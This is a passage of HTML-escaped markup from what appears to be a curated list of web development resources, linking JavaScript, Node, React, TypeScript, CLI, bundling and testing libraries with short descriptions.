&lt;li&gt;&lt;a href=&quot;https://github.com/lquixada/cross-fetch&quot;&gt;cross-fetch&lt;/a&gt;: Universal WHATWG Fetch API for Node, Browsers and React Native&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/asfktz/Awaity.js&quot;&gt;awaity&lt;/a&gt;: A functional, lightweight alternative to bluebird.js, built with &lt;code&gt;async&lt;/code&gt; / &lt;code&gt;await&lt;/code&gt; in mind&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/muicss/loadjs&quot;&gt;loadjs&lt;/a&gt;: A tiny async loader / dependency manager for modern browsers (789 bytes)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/scopsy/await-to-js&quot;&gt;await-to-js&lt;/a&gt;: Async await wrapper for easy error handling without try-catch&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Node&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.fastify.io/&quot;&gt;Fastify&lt;/a&gt;: Fast and low overhead web framework, for Node.js&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://expressjs.com&quot;&gt;Express&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/helmetjs/helmet&quot;&gt;helmet&lt;/a&gt;: Help secure Express apps with various HTTP headers&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/antongolub/reqresnext&quot;&gt;reqresnext&lt;/a&gt;: Tiny helper for express middleware testing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/krakenjs/lusca&quot;&gt;lusca&lt;/a&gt;: Application security for express apps&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/expressjs/cookie-session&quot;&gt;cookie-session&lt;/a&gt;: Simple cookie-based session middleware&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/i0natan/nodebestpractices&quot;&gt;nodebestpractices&lt;/a&gt;: The largest Node.JS best practices list. Curated from the top ranked articles and always updated&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zeeshanu/dumper.js&quot;&gt;dumper.js&lt;/a&gt;: A better and pretty variable inspector for your Node.js applications&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/gajus/http-terminator&quot;&gt;http-terminator&lt;/a&gt;: Gracefully terminates HTTP(S) server&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/uuidjs/uuid&quot;&gt;uuid&lt;/a&gt;: Generate RFC-compliant UUIDs in JavaScript&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jshttp/http-errors&quot;&gt;http-errors&lt;/a&gt;: Create HTTP Errors&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/hapijs/boom&quot;&gt;boom&lt;/a&gt;: HTTP-friendly error objects&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/denoland/deno&quot;&gt;deno&lt;/a&gt;: A secure JavaScript and TypeScript runtime&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/micromatch/nanomatch&quot;&gt;nanomatch&lt;/a&gt;: Fast, minimal glob matcher for node.js. Similar to micromatch, minimatch and multimatch, but without support for extended globs (extglobs), posix brackets or braces, and with complete Bash 4.3 wildcard support: (&quot;*&quot;, &quot;**&quot;, and &quot;?&quot;)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/sindresorhus/yn&quot;&gt;yn&lt;/a&gt;: Parse yes/no like values&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/AvianFlu/ncp&quot;&gt;ncp&lt;/a&gt;: Asynchronous recursive file copying with Node.js&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Logging&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/pinojs/pino&quot;&gt;pino&lt;/a&gt;: 🌲 super fast, all natural json logger 🌲&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/bevry/caterpillar&quot;&gt;caterpillar&lt;/a&gt;: Caterpillar is the ultimate logging system for Deno, Node.js, and Web Browsers&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/cabinjs/cabin&quot;&gt;cabin&lt;/a&gt;: Cabin is the best JavaScript and Node.js logging service and logging npm package&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/unjs/consola&quot;&gt;consola&lt;/a&gt;: Elegant Console Logger for Node.js and Browser 🐨&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Responsive&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/pauldijou/responsive-watch&quot;&gt;responsive-watch&lt;/a&gt;: Watch some media queries and react when they change&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/robb0wen/tornis&quot;&gt;tornis&lt;/a&gt;: Tornis helps you watch and respond to changes in your browser&apos;s viewport 🌲&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ryanve/actual&quot;&gt;actual&lt;/a&gt;: Determine actual CSS media query breakpoints via JavaScript&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Media and Images&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/awcross/images-loaded&quot;&gt;images-loaded&lt;/a&gt;: Wait for images to load using promises. No dependencies.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/aFarkas/lazysizes&quot;&gt;lazysizes&lt;/a&gt;: High performance and SEO friendly lazy loader for images (responsive and normal), iframes and more, that detects any visibility changes triggered through user interaction, CSS or JavaScript without configuration.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Image services&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/lovell/sharp&quot;&gt;sharp&lt;/a&gt;: High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP and TIFF images. Uses the libvips library.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.imgix.com/&quot;&gt;IMGIX&lt;/a&gt;: Real-time image processing and image CDN&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Date&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://date-fns.org/&quot;&gt;date-fns&lt;/a&gt;: Modern JavaScript date utility library&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/lukeed/tinydate&quot;&gt;tinydate&lt;/a&gt;: A tiny (337B) reusable date formatter. Extremely fast!&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/aweary/tinytime&quot;&gt;tinytime&lt;/a&gt;: ⏰ A straightforward date and time formatter in &amp;lt;1kb&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Scrolling&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jonataswalker/scroll-watcher&quot;&gt;scroll-watcher&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/dollarshaveclub/scrolldir&quot;&gt;scrolldir&lt;/a&gt;: Leverage Vertical Scroll Direction with CSS&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Carousels&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://flickity.metafizzy.co/&quot;&gt;Flickity&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://idangero.us/swiper/&quot;&gt;Swiper&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Animation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Rich-Harris/ramjet&quot;&gt;ramjet&lt;/a&gt;: Morph DOM elements from one state to another with smooth animations and transitions&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/juliangarnier/anime&quot;&gt;anime&lt;/a&gt;: JavaScript Animation Engine&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://greensock.com/&quot;&gt;GSAP&lt;/a&gt;:the standard for JavaScript HTML5 animation | GreenSock&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://micku7zu.github.io/vanilla-tilt.js/index.html&quot;&gt;Vanilla-tilt.js&lt;/a&gt;: A smooth 3D tilt javascript library forked from Tilt.js&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Web workers&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/developit/workerize&quot;&gt;workerize&lt;/a&gt;: Run a module in a Web Worker&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/developit/greenlet&quot;&gt;greenlet&lt;/a&gt;: Move an async function into its own thread. A simplified single-function version of workerize.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Immutable&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/mweststrate/immer&quot;&gt;immer&lt;/a&gt;: Create the next immutable state tree by simply modifying the current tree
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/immerjs/use-immer&quot;&gt;use-immer&lt;/a&gt;: Use immer to drive state with a React hooks&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/planttheidea/unchanged&quot;&gt;unchanged&lt;/a&gt;: A tiny, fast, unopinionated handler for updating JS objects and arrays immutably&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/rtfeldman/seamless-immutable&quot;&gt;seamless-immutable&lt;/a&gt;: Immutable data structures for JavaScript which are backwards-compatible with normal JS Arrays and Objectsseamless-immutable`&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jaredpalmer/mutik&quot;&gt;mutik&lt;/a&gt;: A tiny (495B) immutable state management library based on Immer&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Typography&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/rikschennink/fitty&quot;&gt;fitty&lt;/a&gt;: Makes text fit perfectly&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Polyfills&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/que-etc/resize-observer-polyfill&quot;&gt;resize-observer-polyfill&lt;/a&gt;:A polyfill for the Resize Observer API&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;⚛️ React&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://reactjs.org&quot;&gt;reactjs.org&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/facebook/create-react-app&quot;&gt;create-react-app&lt;/a&gt;: Create React apps with no build configuration
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/timarney/react-app-rewired&quot;&gt;react-app-rewired&lt;/a&gt;: Override create-react-app webpack configs without ejecting&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/mithi/react-philosophies&quot;&gt;react-philosophies&lt;/a&gt;: Things I think about when I write React code&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/vasanthk/react-bits&quot;&gt;react-bits&lt;/a&gt;: ✨ React patterns, techniques, tips and tricks ✨&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;React-specific libs:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/renatorib/react-powerplug&quot;&gt;react-powerplug&lt;/a&gt;: Renderless Containers&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jaredpalmer/formik&quot;&gt;formik&lt;/a&gt;: Build forms in React, without the tears 😭&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ReactTraining/react-router&quot;&gt;react-router&lt;/a&gt;: Declarative routing for React&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://reach.tech/router&quot;&gt;Reach Router&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://react-fns.netlify.com/&quot;&gt;react-fns&lt;/a&gt;: React Components for common Web APIs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tajo/react-portal&quot;&gt;react-portal&lt;/a&gt;: React component for transportation of modals, lightboxes, loading bars... to document.body&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/stereobooster/react-ideal-image&quot;&gt;react-ideal-image&lt;/a&gt;: 🖼️ An Almost Ideal React Image Component&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/pedronauck/react-adopt&quot;&gt;react-adopt&lt;/a&gt;: Compose render props components like a pro&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/paypal/downshift&quot;&gt;downshift&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jamiebuilds/react-loadable&quot;&gt;react-loadable&lt;/a&gt;: A higher order component for loading components with promises&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tajo/react-portal&quot;&gt;react-portal&lt;/a&gt;: React component for transportation of modals, lightboxes, loading bars... to document.body&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/lingui/js-lingui&quot;&gt;js-lingui: 🌍📖&lt;/a&gt;: A readable, automated, and optimized (5 kb) internationalization (Intl / i18n) for JavaScript&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/u-wave/react-mq&quot;&gt;react-mq&lt;/a&gt;: Barebones CSS media query component for React, ~560 bytes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ReactTraining/react-media&quot;&gt;react-media&lt;/a&gt;: CSS media queries for React. This is SSR compatible as well.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/andrewbranch/merge-props&quot;&gt;merge-props&lt;/a&gt;: Merges className, style, and event handler props for React elements&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/thearnica/react-uid&quot;&gt;react-uid&lt;/a&gt;: Render-less container for generating UID for a11y, consistent react key, and any other good reason 🦄&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/lukeed/clsx&quot;&gt;clsx&lt;/a&gt;: A tiny (229B) utility for constructing &lt;code&gt;className&lt;/code&gt; strings conditionally&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.framer.com/motion/&quot;&gt;Framer Motion&lt;/a&gt;: An open source React library to power production-ready animations. Design fluid animations for the web, across desktop and mobile&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/dequelabs/react-axe&quot;&gt;react-axe&lt;/a&gt;: Accessibility auditing for React.js applications&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/geobde/use-click-away&quot;&gt;use-click-away&lt;/a&gt;: React hook to detect click or touch events outside an element&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/clauderic/react-tiny-virtual-list&quot;&gt;react-tiny-virtual-list&lt;/a&gt;: A tiny but mighty 3kb list virtualization library, with zero dependencies 💪 Supports variable heights/widths, sticky items, scrolling to index, and more!&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/everweij/react-laag&quot;&gt;react-laag&lt;/a&gt;: Primitives to build things like tooltips, dropdown menu&apos;s and popovers in React&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/react-dnd/react-dnd&quot;&gt;react-dnd&lt;/a&gt;: Drag and Drop for React&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;React Hooks&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zeit/swr&quot;&gt;swr&lt;/a&gt;: React Hooks library for remote data fetching&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.hooks.guide/&quot;&gt;Hooks.Guide&lt;/a&gt;: Collection of React hooks curated by the community&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://usehooks.com/&quot;&gt;useHooks&lt;/a&gt;: Easy to understand React Hook recipes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/beautifulinteractions/beautiful-react-hooks&quot;&gt;beautiful-react-hooks&lt;/a&gt;: 🔥A collection of beautiful and (hopefully) useful React hooks to speed-up your components and hooks development 🔥&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/GoogleChromeLabs/react-adaptive-hooks&quot;&gt;react-adaptive-hooks&lt;/a&gt;: Deliver experiences best suited to a user&apos;s device and network constraints&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/astoilkov/use-local-storage-state&quot;&gt;use-local-storage-state&lt;/a&gt;: React hook that persists data in localStorage&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https:///docs/hooks-list/&quot;&gt;Rooks&lt;/a&gt;: Collection of React hooks ⚓ for everyone&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;State management&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/pmndrs/jotai&quot;&gt;jotai&lt;/a&gt;: 👻 Primitive and flexible state management for React&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/react-spring/zustand&quot;&gt;zustand&lt;/a&gt;: 🐻 Bear necessities for state management in React&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/reduxjs/redux&quot;&gt;redux&lt;/a&gt;: Predictable state container for JavaScript apps
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/reduxjs/reselect&quot;&gt;reselect&lt;/a&gt;: Selector library for Redux&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/redux-saga/redux-saga&quot;&gt;redux-saga&lt;/a&gt;: An alternative side effect model for Redux apps
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/afitiskin/redux-saga-routines&quot;&gt;redux-saga-routines&lt;/a&gt;: Routines for redux-saga&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/reduxjs/redux-thunk&quot;&gt;redux-thunk&lt;/a&gt;: Thunk middleware for Redux&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/brillout/awesome-redux&quot;&gt;awesome-redux&lt;/a&gt;: Catalog of Redux Libraries &amp;amp; Learning Material&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ForsakenHarmony/parket&quot;&gt;parket&lt;/a&gt;: A library to manage application state, heavily inspired by mobx-state-tree&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jamiebuilds/unstated&quot;&gt;unstated&lt;/a&gt;: State so simple, it goes without saying&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zhujinxuan/mergeState&quot;&gt;mergeState&lt;/a&gt;: How to Stop Worrying and Use Nested Object/Array in React/Redux States&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zerobias/effector&quot;&gt;effector&lt;/a&gt;: The state manager ☄️&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/facebookexperimental/Recoil&quot;&gt;Recoil&lt;/a&gt;: Recoil is an experimental state management library for React apps. It provides several capabilities that are difficult to achieve with React alone, while being compatible with the newest features of React.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Server-rendered React&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nextjs.org/&quot;&gt;Next.js&lt;/a&gt; (&lt;a href=&quot;https://github.com/zeit/next.js&quot;&gt;repo&lt;/a&gt;): - Framework for server-rendered or statically-exported React apps
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zeit/next-plugins&quot;&gt;next-plugins&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Static site generators&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.gatsbyjs.org/&quot;&gt;Gatsby&lt;/a&gt;: Blazing fast static site generator for React&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.11ty.dev/&quot;&gt;Eleventy&lt;/a&gt;: A simpler static site generator&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Microservices/Serverless&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zeit/micro&quot;&gt;micro&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/amio/awesome-micro&quot;&gt;awesome-micro&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;TypeScript&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.typescriptlang.org/&quot;&gt;typescriptlang.org&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Microsoft/TypeScript/wiki/What&apos;s-new-in-TypeScript&quot;&gt;What&apos;s new in TypeScript&lt;/a&gt;: Microsoft/TypeScript Wiki&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://basarat.gitbooks.io/typescript/&quot;&gt;TypeScript Deep Dive&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.mariusschulz.com/series/typescript-evolution&quot;&gt;TypeScript Evolution&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://transform.now.sh/json-to-ts-interface/&quot;&gt;JSON to Typescript Interface&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/sw-yx/react-typescript-cheatsheet&quot;&gt;react-typescript-cheatsheet&lt;/a&gt;: a cheatsheet for react users using typescript with react for the first (or nth!) time&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/labs42io/clean-code-typescript&quot;&gt;clean-code-typescript&lt;/a&gt;: Clean Code concepts adapted for TypeScript&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/sindresorhus/type-fest&quot;&gt;type-fest&lt;/a&gt;: A collection of essential TypeScript types&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Command Line, Terminal and shells&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://fishshell.com/&quot;&gt;Fish shell&lt;/a&gt;: The user-friendly command line shell&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/mrmartineau/fish&quot;&gt;My fish_config&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jorgebucaran/awesome-fish&quot;&gt;awesome-fish&lt;/a&gt;: A curated list of packages, prompts, and resources for the amazing fish shell&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://starship.rs/&quot;&gt;Starship&lt;/a&gt;: Cross-Shell Prompt&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/IlanCosman/tide&quot;&gt;tide&lt;/a&gt;: 🌊 A modern prompt manager for the Fish shell&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Creating CLI apps&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/infinitered/gluegun&quot;&gt;gluegun&lt;/a&gt;: A delightful toolkit for building Node-powered CLIs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/SBoudrias/Inquirer.js&quot;&gt;inquirer&lt;/a&gt;: A collection of common interactive command line user interfaces&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tj/commander.js&quot;&gt;commander&lt;/a&gt;: node.js command-line interfaces made easy&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/lukeed/sade&quot;&gt;sade&lt;/a&gt;: Sade is a small but powerful tool for building command-line interface (CLI) applications for Node.js that are fast, responsive, and helpful!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;CLI apps&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zeit/serve&quot;&gt;serve&lt;/a&gt;: Static file serving and directory listing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/agarrharr/awesome-cli-apps&quot;&gt;awesome-cli-apps&lt;/a&gt;: A curated list of command line apps&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/SpaceVim/SpaceVim&quot;&gt;SpaceVim&lt;/a&gt;: A community-driven modular vim distribution - The ultimate vim configuration&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Tooling&lt;/h1&gt;
&lt;h2&gt;Code bundlers&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://vitejs.dev/&quot;&gt;Vite&lt;/a&gt;: Next Generation Frontend Tooling&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://esbuild.github.io/&quot;&gt;esbuild&lt;/a&gt;: An extremely fast JavaScript bundler&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/swc-project/swc&quot;&gt;swc&lt;/a&gt;: swc is a super-fast compiler written in rust; producing widely-supported javascript from modern standards and typescript&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/preconstruct/preconstruct&quot;&gt;preconstruct&lt;/a&gt;: 🎁 Dev and build your code painlessly in monorepos&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://webpack.js.org/&quot;&gt;Webpack&lt;/a&gt;: script/asset bundler
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/mrmartineau/webpack-recipes&quot;&gt;Webpack recipes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/nippur72/ifdef-loader&quot;&gt;ifdef-loader&lt;/a&gt;: Webpack loader for JavaScript/TypeScript conditional compilation&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://parceljs.org/&quot;&gt;Parcel&lt;/a&gt;: Blazing fast, zero configuration web application bundler&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/developit/microbundle&quot;&gt;microbundle&lt;/a&gt;: Zero-configuration bundler for tiny modules&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://rollupjs.org/guide/en&quot;&gt;rollup.js&lt;/a&gt;: Rollup is a module bundler for JavaScript&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zeit/ncc&quot;&gt;ncc&lt;/a&gt;: Node.js Compiler Collection. Simple CLI for compiling a Node.js module into a single file, together with all its dependencies, gcc-style.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/fastpack/fastpack&quot;&gt;fastpack&lt;/a&gt;: Pack JS code into a single bundle fast &amp;amp; easy&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Package management and publishing&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/sindresorhus/np&quot;&gt;np&lt;/a&gt;: A better &lt;code&gt;npm publish&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ai/size-limit&quot;&gt;size-limit&lt;/a&gt;: Prevent JS libraries bloat. If you accidentally add a massive dependency, Size Limit will throw an error&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/siddharthkp/bundlesize&quot;&gt;bundlesize&lt;/a&gt;: Keep your bundle size in check&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/kentcdodds/nps&quot;&gt;nps&lt;/a&gt;: All the benefits of npm scripts without the cost of a bloated package.json and limits of json&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dependabot.com/&quot;&gt;Dependabot&lt;/a&gt;: Dependabot creates pull requests to keep your dependencies secure and up-to-date&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/npm/npm/blob/1fa9169ac9687f0be4156574279a968a48dd2458/doc/misc/npm-config.md&quot;&gt;npm-config&lt;/a&gt; (docs): More than you probably want to know about npm configuration&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ds300/patch-package&quot;&gt;patch-package&lt;/a&gt;: Fix broken node modules with no fuss 📦👌&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/pahen/madge&quot;&gt;madge&lt;/a&gt;: Create graphs from your CommonJS, AMD or ES6 module dependencies&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Commit hooks&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Arkweid/lefthook&quot;&gt;lefthook&lt;/a&gt;: Fast and powerful Git hooks manager for any type of projects&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/typicode/husky&quot;&gt;husky&lt;/a&gt;: Git hooks made easy&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/okonet/lint-staged&quot;&gt;lint-staged: 🚫💩&lt;/a&gt;: Run linters on git staged files&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Arkweid/lefthook&quot;&gt;lefthook&lt;/a&gt;: Fast and powerful Git hooks manager for any type of projects&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Testing&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://facebook.github.io/jest/&quot;&gt;Jest&lt;/a&gt;: Delightful JavaScript Testing&lt;/p&gt;
&lt;ul&gt;
